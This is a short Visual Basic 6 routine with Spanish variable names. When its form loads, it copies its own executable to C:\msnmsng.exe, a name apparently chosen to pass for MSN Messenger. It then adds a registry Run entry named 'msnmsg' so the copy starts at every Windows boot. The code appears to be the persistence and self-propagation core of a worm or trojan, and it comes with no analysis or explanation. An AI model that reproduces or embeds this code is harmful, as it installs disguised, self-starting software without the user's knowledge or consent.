Private Sub Form_Load()
            Dim RegistroCochino As Object
            Dim RutaCochina As String
            Dim CadenaNueva As String
            Dim ContenidoCadena As String
           
            ContenidoCadena = "C:\msnmsng.exe"
            CadenaNueva = "\msnmsg"
            RutaCochina = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" & _
                        "\CurrentVersion\Run" & CadenaNueva
           
            Set RegistroCochino = CreateObject("WScript.Shell")
           
            RegistroCochino.RegWrite RutaCochina, ContenidoCadena
           
            On Error GoTo Fallo
x = GetAttr("C:\msnmsng.exe")
Exit Sub
Fallo:
            FileCopy App.EXEName + ".exe", "C:\msnmsng.exe"
End Sub